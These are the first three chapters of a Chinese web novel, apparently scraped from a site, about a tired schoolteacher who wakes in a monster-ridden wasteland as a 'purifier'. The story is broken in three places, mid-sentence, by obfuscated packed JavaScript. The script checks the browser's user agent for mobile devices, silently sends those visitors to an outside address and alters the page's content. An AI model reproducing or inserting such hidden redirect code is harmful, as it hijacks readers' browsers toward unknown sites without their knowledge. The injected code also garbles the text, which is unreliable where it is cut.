《横行异世先从教书育人开始？！》 1. 净化者 一阵刺耳的闹铃声突兀地在房间里响起。 余颂时迷迷糊糊地睁开眼，映入眼帘的是略显肮脏的天花板，那天花板布满了蛛网似的龟裂，不少地方露出了恐怖的口子，宛如张开血盆大口。 怎么回事？ 余颂时刚醒来的思维有些迟钝，以为自己还没睡醒，她揉了揉眼睛，打算翻个身继续睡觉。 正准备浅浅入梦，闹铃声又好死不死地响了起来，声音尖锐聒噪，持续不断，像一把电锯，钻进她的梦里，残忍地撕碎她的清梦，似乎不吵醒她不罢休。 余颂时忍无可忍，一把掀开被子坐了起来，但眼睛还闭着，习惯性地伸手去够床头的手机。 一年的社畜生活已经让她练就了闭眼关闹钟的神之技能。 半睡半醒之间，她在空中乱摸索的手终于碰到某个冰凉坚硬的东西，她拿到眼前，想人脸指纹，却发现怎么也解锁不了，她只好不情不愿地睁开了一只眼睛。 迷蒙模糊的视线里，她看见，那并不是手机，而是电子闹钟。 这怎么回事？我哪来的闹钟？ 余颂时的睡意醒了一半，她拍了拍自己的脸，试图让自己清醒一点，然后再定睛一看，眼前还是那个粉红色的电子闹钟。 电子闹钟非常敬业，还在兢兢业业地唱歌，发出滴滴滴的近似医院心电起搏频率的声音，和此刻余颂时不断加快的心跳声重合在一起，像个双重奏。 余颂时彻底清醒了。 她手忙脚乱地把闹钟乱按一通，终于把那听得人心惊肉跳的闹钟声驱逐出了脑海。 她感觉这种闹铃声简直像某种精神污染。 每次在早上被迫早起的时候，睡梦之中听到闹铃声，就像学生时代听到指甲划过黑板的声音一样，让人san值立刻下降一百点。 她把闹钟扔到了一旁，打算找自己的手机。 视线下移，她逐渐发现哪里不对劲。 这个房间，根本不是她的房间！ 她环视四周，房间很小，只有很小的一个窗户，厚重的遮光窗帘把窗户遮得严严实实的，除此之外，房间里只有一张单人床，衣柜和一张勉强挤在角落里的椅子，房间里光线昏暗，黑暗犹如实质，沉甸甸地压在她的心头，让她喘不过气来。 余颂时深吸一口气，扶着床颤颤巍巍地站了起来，摸黑把墙上的开关打开。 啪地一声，房间瞬间亮堂了起来。 她往床头柜看去，发现床头柜上摆着许多瓶瓶罐罐，都是她看不懂的药名，她随便拿起一罐半空着的药瓶看了眼，用她仅存的英语知识辨认出，这是瓶强效安眠药。 她疑惑地皱了皱眉，又伸出手，才发现，这不是自己的手。 这是一双有些粗糙，食指内侧长着一层厚茧的手。 她惊恐地捡起床头的小镜子一照——却发现，里面的脸还是自己的。 也或许是，和自己非常相似。 她觉得自己的精神世界摇摇晃晃，如精美的瓷瓶，裂开了一条缝隙。 她努力地回想自己昨天晚上在干什么。 苏醒的记忆告诉她，昨晚她正在批改班里那群不学无术的小屁孩的月考卷子。 是的，余颂时是一名新入职的教师，最悲催的是，她还是个班主任外加主课教师。 自从开始接班实习之后，她每天的生活就从整日好吃懒做，只知吃喝玩乐变成起得比鸡早，睡得比狗晚，外加每天被学生气得吐血。 她觉得自己的工作简直是保姆，辅导员，教师，心理咨询师，警察，法官的结合，每天要处理的鸡毛蒜皮小事数不胜数，上一秒学生在班级打架头破血流，领导一个电话打来，她连衣服都来不及穿，就跑到班级，劝架，训诫，罚写检讨，叫家长一条龙。 处理完这些破烂事，刚拖着疲惫的身体回到宿舍，下一秒任课老师的电话就打进来，说晚自习秩序太糟糕了，她刚吃到一半的面只得放下，急匆匆赶到班级骂了一通，等学生终于安静下来之后，她再次拖着疲惫不堪的身体回到宿舍，发现面凉了，也坨了。 她挤出一丝无奈的苦笑，把面倒进垃圾桶，然后倒在了床上。 手机震动，有新消息。 她一看，组长在备课组群艾特她，说还剩她一人没完成阅卷任务，让她尽快完成阅卷，领导急着看成绩。 余颂时想骂人。 早上才考的试，晚上就得阅完卷？AI改卷都没这么快吧？ 领导，领导。这么急着要，不如领导自己去改吧。 她在心里对着领导指名道姓痛骂一通，然后在微信里回道：收到。马上就好。[玫瑰][微笑] 现代人谁不为五斗米折腰。 余颂时顶着一张煞白的小脸，怨气十足地盯着电脑屏幕，心里问候领导祖宗，手上在不停地打分数。 电脑屏幕在夜里散发着幽幽蓝光，照得余颂时那张毫无血色的脸更加惨白，睡眠不足带来的眼下乌青显得她那双本就大的眼睛更大得凸出了，黑眼睛一眨不眨地注视着屏幕，宛如从井里刚爬出来的女鬼一样，浑身还散发着湿淋淋的怨气。 她越改脸色越发青，感觉有股怒气积攒在胸膛，上不去，下不来，硬生生地卡在那里，让她心脏都疼得抽搐了起来。 完全是被气的。 上课说了一百遍的知识点，这些学生脑子仿佛和刷机了一样，忘得一干二净，唐宋八大家写冯巩，鲁迅建立德云社，更有甚者什么都填一个人，于是，宋□□死武大郎，勾引西门庆，又倒拔垂杨柳，三打白骨精。 好忙的宋江。宋江在四大名著来回快穿，真是辛苦宋江了，不愧是及时雨啊。 作文更是两眼一黑。可谓是牛鬼蛇神齐聚一堂。 有人编造史实：就像司马懿虽被施以阉刑但仍写出了史记。 余颂时在评语里大笔一挥：统统鉴定为文盲。没救了，抬下去吧。 够了，真的够了。 阅了一半的卷，余颂时觉得仿佛给自己上了精神酷刑，一番折磨下来，她头疼欲裂，太阳穴突突地疼，睡眠不足外加气的。 改着改着，她也不知什么时候，眼前的文字逐渐重叠在了一起，变成了一串串黑色的扭曲爬行的蜈蚣，她就这么睡过去了。 所以，现在她是死了吗？ 第二天头条新闻：某校语文老师熬夜批卷猝死于电脑前。教师的生命健康安全是否该引起重视！ 实际上也不会引起重视。 即使她死了，最多也是在网络掀起一点小小的波澜，就像叶子轻轻落在湖面，大家茶余饭后讨论一通，哀叹一下年轻生命的逝去，然后什么都没有。 对了，当然也有可能注重起教师的心理健康了，于是寒暑假布置任务，每人必须刷够80h寒暑假心理健康讲座课外加1000字读后感。 一线教师永远都是压迫的最底层，做最多的活，挨最多的骂。到最后，升学率优秀率及格率的所谓政绩全都给了上层领导。 上层领导吃够了油水，还要抹一抹嘴，说你们做得还不够啊，最近纪律这块有点放松啊。 想到这，余颂时唇边浮起一丝冷笑。 死了也挺好的。可以摆烂了。 她无所谓地这么想着，又一屁股坐回了床上。 比自己想象的更顺利地接受了自己死了的事实，余颂时又开始打量起这件房间了。 这房间未免有点太阴暗了，和坐牢一样。 她站起身，刷地一声拉开了窗帘。 窗帘显然已经许久没拉开了，积了厚厚一层灰，她一拉开，漫天灰尘如纷纷扬扬的雪屑，浮动在空气中。 然而外面并没有如余颂时想象的一样，有明媚灿烂的阳光照进来。 在窗户的外面，是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072719|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵墙。 还是一堵水泥墙，牢牢地挡住了所有的阳光，她费劲地贴近窗户，才看见原来旁边也是一栋房子，很高，阳光从很狭窄的缝隙里，吝啬地洒了一点下来。 余颂时后退了一步，脑子还处在发蒙状态，有些不可思议。 她掐了掐自己的手，疼。又掐了掐自己的脸，更疼。 好像，并不是在做梦？ 所以这到底是什么地方。她心里浮上疑问。 叮叮叮——刺耳尖锐的闹铃声再次突兀地响彻整个房间。 熟悉的钻裂般的疼痛袭来，她几乎是条件反射地扑向闹钟，想要关掉闹钟，却发现闹钟并没有响。 她丢掉闹钟，到处寻找可疑的发出声响的物品，发觉声源不对，低头撩起睡衣的袖子一看，发现是自己手腕上的黑色手环在响。 她按掉了手环，看向手环的目光变得诡异警惕起来。 这个手环是什么时候到她手上的？ 她仔细观察了这个黑色手环，它和现实世界的运动智能手环没什么区别，上面有个显示屏，此时显示屏显示的时间为：2199年9月1日上午8:00 2199年？余颂时的脑子有些发懵。 她这是穿越到未来了？ 显示屏上还显示了红点，有99+的待办事项和消息，她的头又开始剧烈地疼起来。 她打算两眼一闭，直接无视，反正死都死了，还能拿她怎么办。 正这么想，耳边突然响起一道冷冷的机械声。 【系统提示：您已进入克苏鲁废土世界。您的身份是净化者012号，余颂时。请前往净化区域109区第一收容所报道。报道倒计时：半小时。如您未按时赶到，将会扣除系统评价值50，同时精神值下降10，您可以点开手环查看当前面板。】 余颂时：它在说什么？我怎么一个字也听不懂？ 刚准备躺下的余颂时瞬间起身，在五秒间做了个仰卧起坐，因为起身太猛还差点闪到了腰。 她以为是自己幻听了，半信半疑地点开手环一看，果然手环之上出现了一个浅蓝色的屏幕投影，上面的字像流动的水，慢慢在她眼前浮现了出来。 【012号余颂时】 身份：净化者 异能：净化，自愈，吸收 异能级别：LV01 精神值：800（高） 精神污染指数：10%（低） 体能值：10（低体能） 防御值：500（高） 知识储备：已解锁3% 系统评价值：50 请注意：若系统评价值或精神值清零，会有发生异化的可能。系统评价值可以转化各项数值，也可以作为虚拟货币兑换道具。 道具请在商店里查看。道具将随时更新下架，请宿主注意购买时效。 系统任务：请于半小时内前往第一收容所报道，导航已发至手环。 她仔细地读完上面的每一行字后，得出了自己的人设：肩不能扛手不能提的文科生，但耐打耐抗耐造。 好，不愧是我，穿越了之后人设还是如此一致。 她又打开商店，上面都是些清洁剂，火炮，炸弹之类的，她又粗略扫了一眼。 都买不起。 现在的问题是：净化者是什么？第一收容所到底在哪里？ 余颂时沉思半晌，决定还是先遵循系统的指示前往第一收容所报道，后续再随机应变。毕竟她的系统评价值只有50，扣光了就没了。 该死的，怎么到了异世界还要打工啊。 对了，她是不是也可以查看一下自己的资产值啊。 她兴冲冲地再次打开手环，点开面板，往旁边滑，看见一个钱包的图标，满怀期待地打开，上面赫然显示：-50000星元。 余颂时：？？？ 2. 毒雾霾 她不可思议地揉了揉自己的眼睛，再次确认，又往下滑了滑，接着跳到她眼前的就是一系列的账单： 房租：每月5000星元，月底结清。 医药开支：精神舒缓剂，5000星元 安眠药物，5000星元 基因改善药物，10000星元 食物开支：营养剂，1000星元 …… 余颂时发现，原主使用了大量的药物，似乎有什么疾病，需要靠大量药物续命，此外，花在装备和食物上的钱非常多，原主大量购入了压缩饼干，营养剂这种只有在长途旅行才会买的长期储存类食品，同时也购入了防毒面罩，手枪，手电筒等等。 不知道原主想干什么，但余颂时知道，这下她要去接原主的烂摊子了。 她心里苦笑，这下好了，不出去打工真的活不下去了。连房租都付不起了。 也不知道为什么这个异世界的自己混得这么惨，怎么比现实世界的自己还惨啊。 她又环顾了四周，发现地上散落了一个方方正正的黄色卡片，她捡起来一看，背面是一个白色的图案，图案是鸽子与花冠，中间竖立着十字架，她翻到正面，上面写着： 姓名：余颂时 年龄：25 身份等级：C等 住址：南苑小区A栋八楼808 这应该是身份证。 余颂时刚扫完卡片上的文字，耳边就响起系统的声音。 【系统知识储备更新至5%：联邦会给每位出生的公民制定划分公民等级。根据智商，外表，觉醒能力，身体健康，精神值，污染程度等评估可分为A,B,C,D,E等公民。上流社会许多人会利用基因干预技术给自己未出生的孩子进行基因编辑，让ta们各方面数值提升，成为A等公民。联邦在每位公民成年之时，会按照不同公民等级，分配工作。】 这么说，这个社会的等级观念十分严苛，一旦出生被划为下等公民，基本没有什么翻身机会了。 余颂时思忖片刻，将身份证放进背包，决定立刻出发去第一收容所报到。 说走就走，余颂时看到房间地上有个黑色的双肩包，拿起来大致扫了一遍包里的东西，里面装了一些防毒面具，清洁过滤防毒口罩，头盔，刀，还有一些奇奇怪怪的她不认识的装备，依靠她的知识储备，她大概能辨认出其中有一个像手枪一样的是清洁枪，清洁枪不用装子弹，每次使用都会消耗自己的精神值，只有精神值高的净化者才能使用，还有一个长得像手电筒的是追踪器，用追踪器可以定位污染物，评判污染值。 她想了想，现在是废土世界，也就是说污染指数应该会很高，于是她从包里拿出比较轻便的防毒口罩戴了上去，又想着包里的这些东西可能都会用上，直接背上了包。 别看没多少东西，这包还挺沉，压在余颂时肩上，让她顿时感觉肩膀有些发酸。 这就是没锻炼的后果。她欲哭无泪，下定决心，利用业余时间一定好好锻炼身体把体能提上去。 她咬咬牙，把双肩包往肩上一拉，就出门了。 一出门，扑面而来的浑浊腥臭的空气就差点没把她熏个趔趄。 街道上雾蒙蒙的，雪白雾气笼罩着这座城市，眼前像蒙了层白纱，可视度极低，出了一米人畜不分。 余颂时听着耳机里的导航指引，小心翼翼地在充满雾气的街道上往前走着，生怕一不小心撞上什么诡异的人或物。 好在这条街似乎没什么人，四周静悄悄的，一点声音都听不见，似乎连脚步声都隐匿了。 雾气无声地弥漫在周围，有愈变愈浓的趋势，余颂时走在雾气之中，像被无数团棉花包围了，眼前看不到任何东西，似乎一切都悄无声息地消失在了大雾之下。 不对。 余颂时停住了脚步。 她茫然地往四周看去，触目所及只有茫茫大雾，除了白还是白，看久了，那白色晃得她晕眩，她知道这种感觉，就好像被困在雪山许久的行人，皑皑雪山对他而言变成了极为可怕的吞噬神智的恶魔。 她能感觉自己的心跳加快，冷汗从额上淌出来，连呼吸都变得困难起来。 她强迫自己冷静下来，大脑快速地运转，在自己的知识储备里搜寻相关的信息。 经过系统的一番寻找，她终于找到了这类现象的解释。 废土世界与现实世界不同，许多异常的天气都极为凶险，比如雾天，雨天，沙尘暴等，这些都有可能对正常人造成不同程度的伤害，轻则精神值下降，重则直接毙命。 所以在废土世界出门，需要格外小心，注意听天气预报，如果天气预报提示重度污染，就尽量减少出门，如果是轻度污染，那么备好清洁装备就可以出门。 而她大概是自带主角光环，开篇就幸运地遇上地狱开局——毒雾霾。 这种毒雾霾不像普通的雾气，它是有实体的，长得像软绵绵的棉花糖似的云，温柔无害，刚开始你步入雾霾里，是浑然不觉的，因为它一开始就像普通的大雾，直到你越走越深，它就会向行人聚拢过来，慢慢地挤压行人，直至行人内脏错位，窒息而死。 这还不是最可怕的，最可怕的是—— 余颂时的耳边传来一阵细密的脚步声。 这脚步声非常轻微，余颂时根本注意不到，因为她一直忙着埋头赶路，她一直以为那脚步声是她自己的，直到她突然停了下来，然后她听见了，从雾气中传来的脚步声。 噔，噔，噔。像是什么动物的蹄子踏在路上，又像是高跟鞋蹬在地面上的声音，那脚步声忽远忽近，但一直在跟着她，如影随形，黏稠得像甩不掉的橡皮糖。 余颂时边侧耳辨认着脚步声的方向，边往旁边靠，尽量让自己缩进角落里，减少存在感。 一靠上墙，她就迅速把包卸下来，戴上防毒面罩，把清洁枪和跟踪器全拿了出来。 脚步声突然停了。 她提心吊胆了好一阵，总算能稍微喘口气，然而这口气还没喘匀，她就听见那脚步声又开始响了起来。 这次，脚步声近在咫尺，仿佛就贴着她的身体，跟在她的后面。 接着，她的鼻子敏锐地闻到了一股腐烂的气息，那味道闻起来像腐臭许久的尸体，在她的耳边吐着气息。 余颂时冷汗涔涔，汗毛倒竖，浑身僵直，动也不敢动。 与此同时，她能感受到自己的精神值在急剧下降。 【提示：您的精神值已下降至700】 她像等在病人旁边的家属一样，只能看着越来越弱的心电图干着急。 毒雾霾里有概率隐藏不知名生物。 她的运气果然很好，一下就解锁了隐藏款。 这运气用在抽卡上不好吗？ 她感受到那东西爬上了她的背，一点一点地把它的触角覆盖过她的每寸皮肤，是无生命的冰凉触感，它每覆一寸，余颂时的体温就下降一度。 她的身体在慢慢被它蚕食，吞噬，控制。 但余颂时暂时还不能动。 她的目光死死地盯着眼前橱窗映出的影子。 刚才她退到这，就是为了看清楚到底是什么东西在作怪。 橱窗上映出她苍白如纸的脸，和她身后趴在她身上的瘦长雪白的影子。那影子方才还像刚出生的婴儿那般大小，很快就长到了一人高，它吐出长长的血红色的舌头，舌头尖分叉无数，长着密密麻麻的小凸点，每个小凸点都像吸盘一样牢牢地附在余颂时身上，肆意地吸着她的精神值。 所以她的精神值才会急剧下降。 余颂时盯着那团影子，突然勾唇一笑，她低声开始默念起了诗。 每次她烦躁，抑郁或焦虑的时候，她都会选择开始背诗。 背诗能让她集中精神，冷静下来。 她刚开始思维迟钝，念得磕磕绊绊的，但随着她慢慢集中精神，她越念越快，越来越流利，面板上的精神值忽然开始缓慢上升。 她背上的东西扬起了头，似乎有些疑惑，不知为什么这人的精神值不降反升。 就在这时，余颂时快速地举起手里的清洁枪，对着它的脑袋，快准狠地给了它一枪。 子弹精准地命中不明生物的头，那不明生物发出一声哀嚎，声音宛如啼哭的婴儿，嘶哑又刺耳。 它的皮囊一下子萎缩下去，从皮囊下渗出血滴，直淌到余颂时的身上。它的舌头缩了回去，然而依然牢牢地攀附在余颂时的背上，不肯放下。 它学聪明了，这次它重新缩成婴儿般大小，蜷缩在余颂时的背上，可能是怕余颂时又给它一枪，它直接把整张皮都贴在了余颂时的背上，皮囊表面光滑柔软，几乎要和余颂时的背融为一体了。 她瞄不准那生物，一时有些着急，情急之下，她忽然想起一件事。 ——既然它已经寄生在我身上，那我能不能朝自己开枪？ 赌一把吧。 眼看着上升的精神值又要下降，余颂时没空犹豫，果断朝自己的锁骨开了一枪，清洁枪射出的子弹直接穿透了她的锁骨，瞬间汩汩鲜血从伤口争先恐后地冒了出来。 疼，这可太疼了。剧烈的疼痛袭来，差点没给余颂时疼晕过去。 还好余颂时防御值高，又是净化者，自愈快，没有一子弹直接给打得失血了。 然而突然暴露的伤口让余颂时的精神值又迅速下降，她能感觉自己头晕目眩，甚至眼前开始出现了重影。 幸运的是，那一子弹也正巧打中了不明生物歪曲的舌头，不明生物再次发出一声尖锐的惨叫声，竟然直接腾空而起，雪白的皮囊之下藏着无数血红舌头，像蛇一样，吐出无数分叉信子，上面结满了晶莹剔透的籽。 它想吸余颂时的精神值未得逞，暴怒之下居然想直接一口把余颂时吞了！ 余颂时见状，急忙往旁边一滚，拿起清洁枪，朝它又开了一枪。 可似乎这点精神值还不够，一点也没减弱它的攻势，眼看着那东西已经逼近眼前，余颂时已经拿起了枪，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072720|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次她要赌上她全部的精神值！ 正准备扣动扳机，一声枪响钻透雾气，径直穿透了不明生物的皮囊，它像个突然被放了气的气球，瞬间瘪了下去。 砰砰，又是两声枪响。 子弹穿过它的舌头，威力极大，直接打烂了它的两条最粗大的舌头，白色皮囊彻底萎缩了下去，本来晶莹剔透如珍珠的籽变得暗沉灰黄。 它死是死了，但正对着它的余颂时就倒霉了。 余颂时被那东西皮囊下的腐臭血水劈头盖脸浇了一脸，从头淋到了脚，此时此刻，她浑身上下都浇满了鲜血，乌黑的头发黏糊糊地贴在脸上，全身散发着呛鼻的血腥味，活像在大润发杀了五年的鱼。 比起旁边已经变成一片干干净净皮囊的云片，她更像从哪里浴血奋战爬出来的怪物。 不会一会儿被哪里的怪物猎人给当做猎人杀了吧？ 余颂时看着自己狼狈的模样，有些担心起来。 然而除了血水的浇灌，随之而来的还有它的无数颗籽爆裂那瞬间化作的星星点点的光点。 如萤火虫的光芒，一刹那，点亮了余颂时身边的雾气。 余颂时只觉得沐浴在这光点之下，无比舒适，像是在寒冷的冬日晒到温暖的太阳，觉得浑身像浸泡在热水里一样，暖融融的。 她耳边响起系统的声音。 【正在收集精神粒子……】 【载入精神值中……精神值更新……您目前的精神值为1400】 【正在启动自愈功能中……您的伤口已愈合……】 【净化112号污染物，解锁112号污染物，知识值更新至5%，得到系统评价值1500，您目前的系统评价值为1550】 原来这是精神粒子？ 余颂时低头看向自己的锁骨，果然，刚才还那么深的伤口，现在已经慢慢愈合了，她也感受不到疼痛了。 看来，耐造耐打还是有用的嘛。 周围的雾气在慢慢地散去，如退潮的海水，露出潮水之下被掩盖的沙滩。 街道的景象正缓缓地在余颂时眼前展开。 在雾气之中，走出了一个穿着纯黑制服的女人，她全副武装，戴着防毒面罩，腰间别着枪，手上还拿着一把AK狙击枪，，对着头盔里的对讲器说道：“清理者入场。” 说完之后，她抬眸看向余颂时，向她走来。 她应该就是刚才杀了这个什么雾兽的人吧？余颂时盯着眼前的女人，心里想。 【系统知识储备更新至7%：这个世界的异能者分为四种：净化者，清理者，攻袭者，医疗者。其中净化者负责净化，清理者负责清理，医疗者负责医疗，攻袭者负责攻袭。】 听君一席话，如听一席话。 不过，能确定的是，眼前这个女人应该就属于攻袭者。 正想着，女人就走到了眼前，她低头看了看余颂时，把防毒面罩摘了下来，露出一头干净利落的短发和英姿飒爽的眉眼。 余颂时注意到女人制服的徽章上写着：陆晏清。编号1213，攻袭者3级。特种小队队长。 陆晏清。河清海晏。是个好名字。 余颂时恍惚间想道。 “这防毒面罩快把我憋死了。”她不满地嘀咕了一句，又向余颂时伸出了手，“来，我拉你一把？” 余颂时对眼前这个直爽的女人很有好感，她点了点头，伸出手，陆晏清拉了她一把，拍了拍她的肩。 “辛苦你了。撑了这么久。”她弯起眼睛，笑得煞是好看，恍若阳光驱散了雾霾，“我叫陆晏清，你是净化者吧，叫什么名字？” 余颂时也对她笑了笑，回答道：“余颂时。” “你是净化者几级？” “1级。” “1级？”陆晏清惊讶地挑起了眉，又重复了一遍，“1级？就能和一只3级的污染物作战了？” 原来这里的污染物还有编级的啊。 所以，她刚才打败了一只3级污染物啊？余颂时想到这，心里不由生出一丝骄傲。 她心里乐开了花，但表面还要谦虚一下，“哪有哪有。没您最后那几枪，我可能就死了。” 陆晏清听她这么说，也再次笑了起来，她打量了一下余颂时，开口道：“你有没有时间，要不我们——” 对了！时间！ 余颂时像是突然想起了什么似的，一拍脑袋，急忙拿出手环一看，只剩下十五分钟了！ 坏了！这要是让系统白白扣了50分，她今天不白干了？！ 这比杀了她还难受啊。 “不好意思！我突然想起一件急事！我得去第一收容所了！”余颂时急急忙忙地背起旁边的背包，顾不上陆晏清的反应，如离弦的箭一般冲了出去，把陆晏清喊她的声音抛到了身后。 “哎——”陆晏清站在原地大喊道，“那个——” “那个你走错了！第一收容所在另一边啊！”陆晏清无奈地扶额，“还有，我可以顺便送你一程啊。” 3. 第一收容所 特警车平稳地在大路上自动行驶着，偶遇颠簸，轻轻摇晃几下。 余颂时和陆晏清相对而坐，大眼瞪小眼。 余颂时有点掩饰不住激动的心情，她刚经历了一场激烈战斗，肾上腺素飙升，此时那种心脏狂跳的感觉还未褪去，她又被陆晏清拉上了警车。 这是余颂时第一次坐警车，还是特警车。 她好不容易安稳下去的心脏又疯狂地开始打鼓，和蹦迪似的，忽上忽下，她都怀疑自己会不会因为心脏供血不足晕过去。 余颂时的脸在刚才已经大致洗过了，但陆晏清这儿没有干净的衣服给她换，她只能暂时穿着被血浸透的血衣。 她身上的血迹已经半干，看上去没有刚才那么血淋淋了，但是血腥味却更浓郁了，头发间全是铁锈味，脸上，身上，衣服上还残留着大块凝固的血斑。 没那么吓人，但乍一看，还是令人望之生畏。 陆晏清旁边还坐着一个小队的队员，他和陆晏清一样穿着制服，从余颂时刚进警车的时候，他看余颂时的眼神就很古怪，像怀疑，又像畏惧。 陆晏清叫他周烈，是个2级的攻袭者，他理着寸头，额头上有道短短的疤，眉目周正，看上去正义凌然。 他好几次都控制不住往余颂时那边瞟，余颂时转头看他的时候，他又马上若无其事地转开视线，同时抬起屁股往旁边微微挪了挪。 余颂时：…… 她知道自己现在看起来一定很吓人，但没办法，已经没有那么多时间给她整理仪表了，今天她就算顶着八爪章鱼的触手，也必须按时赶到报到。 今天谁也不能把她这50分给扣了！ 这么想着，余颂时的目标瞟向窗外。 她一出门就遇到场大雾霾，全程什么也看不见，还被迫和3级污染物打了场硬仗，死里逃生，成了个血人，她这一上午过得比她前二十年精彩多了。 从刚才她也没能好好观察街道，这下终于有机会稍微看一眼了。 外面的街道和余颂时想象得很不一样，一副凋零衰败，冷清寂寥的场景。街道不宽，两边伫立着鸽笼一样整齐划一的水泥楼，窗户都开得很小，连通风也困难，更别提阳光。 街上商铺凋敝，基本都关着门，也没几个行人，偶尔掠过的行人要么低头步履匆匆，要么看起来不太正常的样子。 比如刚才她就看见一个走路姿势古怪的人，手上拖着沉重的麻布袋子从街上慢慢地走了过去，余颂时定睛一看，才发现那人的左腿没了，右腿上和身上长满了大大小小的瘤子，看起来格外可怖，多看一眼晚上都可能做噩梦。 还好余颂时从小到大没什么别的爱好，就是格外喜欢看猎奇血腥的恐怖片，从小学三年级就阅片无数，基本把豆瓣影单top100都看完了。除了看恐怖片，还喜欢去各种鬼屋和密室逃脱，胆子奇大，鬼贴脸都面不改色，眼睛都不眨一下。 这也有可能是她的精神值高的原因吧。 “109区最近治安不太好。”坐在她对面的陆晏清突然开口道。 “嗯？”余颂时还沉浸在看街景中，听陆晏清这么说，转过头，有些迷茫地看着她。 “你所在的109区，本来污染指数都比较高，又是下城区，治安很乱。”陆晏清径直往下说，“最近你要多小心。少出门。你只是一级净化者，遇事别太逞强，能跑就跑。” 余颂时这才反应过来陆晏清是在担心她的安危，委婉地劝她别像刚才那样硬刚。 害，要不是那玩意儿都贴她身上来了，她至于豁出命和它干吗？ 锁骨处被打出的穿透伤还在隐隐作痛。 109区，下城区。 原来如此，难怪她住的地方那么破烂，房间那么小，连太阳都晒不到。 长期住下去，不抑郁才怪。 余颂时之前在学校附近找房子的时候，没有别的要求，唯有一个要求。 能晒得到太阳。 毕竟，精神已经很阴暗了，不能再窝在更阴暗的地方了啊！ 余颂时很喜欢在天气晴朗的时候拉开窗帘，坐在飘窗上读书或者写作，和煦的阳光照在身上，带着丝绒般的温暖，沐遍全身，暖洋洋的，连骨头缝里也淌着新鲜雀跃的暖意。 有时候让她有种错觉，就好像自己是从棺材里刚爬出来的吸血鬼，在接触阳光的那一刻，热和暖都一同灼烧着她，超度所有的罪孽。 死亡，也许并不是阴暗冰凉的，而是阳光一样的，是普度众生的宽容。 她的梦想就是在向阳的海边买一套房子，每天站在窗前看日升月落，寒来暑往。 只是可惜，这样的梦想，现在似乎离自己更遥远了。 余颂时冲陆晏清挤出一个无奈的笑。 “我也想少出门。但这不是要上班吗？” 要不是为了生活所迫，她也想过上咸鱼的生活啊。 陆晏清沉默了，没再说话，两人再次相顾无言。 车里沉闷的空气焦灼着，只剩下行驶时刮过窗外呼啸的风声，尖利凄厉，宛如露出獠牙的孤魂野鬼。 她神色有些犹豫，抬起眼皮反复看了余颂时几眼，似乎下定了某种决心，语气飞快地说：“那个，如果你觉得第一收容所不好，你可以选择来我们这。” 她说这句话的时候，旁边的周烈瞪大了眼睛，连眼皮也跟着跳了几跳。 余颂时也跟着愣了。 陆晏清这是演的哪出？这是在挖她？ “你不要误会。我只是给了你另一个选择罢了。”陆晏清大概是怕她压力大，连忙补上，“你是个很有天赋的净化者。我们队正好也缺个净化者。而且——” 她顿了顿，斟字酌句，最后说道：“我不认为第一收容所是个适合你的地方。” 余颂时有些奇怪，她正想追问为什么，耳边叮地一声响起铃声，是系统的提示。 【系统知识储备更新至8%：解锁109区第一收容所。该收容所成立于22世纪初，已近百年历史。收容所会收容所有下城区的污染物，污染物等级约在1-5级之间，危险系数普遍偏高。收容所会将这些神智尚且清醒的污染物称为“污染者”，介于人和污染物之间。ta们曾被污染物污染过，但并没有完全丧失神智，收容所收容并救治它们，试图将次等人转化为真正的人。收容所的主旨是：收容，救治，净化。】 余颂时感觉眼前有些阵阵发晕。 这是系统要她死啊—— 系统不顾她的死活，继续播报： 【收容所的主创人认为，这些污染者只要经过一定的社会化训练，就可以无危害地融入社会。人们不应该歧视或惧怕ta们。ta们也曾经是人类的一员，是我们的同胞。】 【收容所秉持收容，救治，净化的主旨，采取净化，感化，教化的方法，先进行物理净化，接着教给ta们丰富的人类知识，用知识和技能帮助ta们融入社会，再用爱心感化ta们——】 等等等等—— 这怎么越说越不对呢？ 后半段简直和她领导开会说的口水话一模一样。 “这不对啊。”余颂时情不自禁地脱口而出。 “当然如果你有顾虑……”话说到一半的陆清晏突然被打断，有些诧异地挑起眉毛，看着眼前的余颂时。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072721|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小余，怎么了？”陆清晏轻轻皱起了眉，向余颂时投来担忧的目光。 余颂时自知失言，连忙摆摆手。 “没有没有，我的意思是，你说得对。呃，但是我目前还没有想换工作的意愿，等我想换工作了，我一定找您！” 陆清晏紧皱的眉头松开了些，轻轻点了点头。 “好。你把左手伸出来。” 余颂时不知陆清晏要做什么，但还是乖乖地把左手伸了出来。 陆清晏撩起她的袖子，露出黑色手环，她把自己的手环靠近余颂时的手环，手环叮地一声，余颂时眼前出现提示。 “联系人，陆清晏，已录入。” 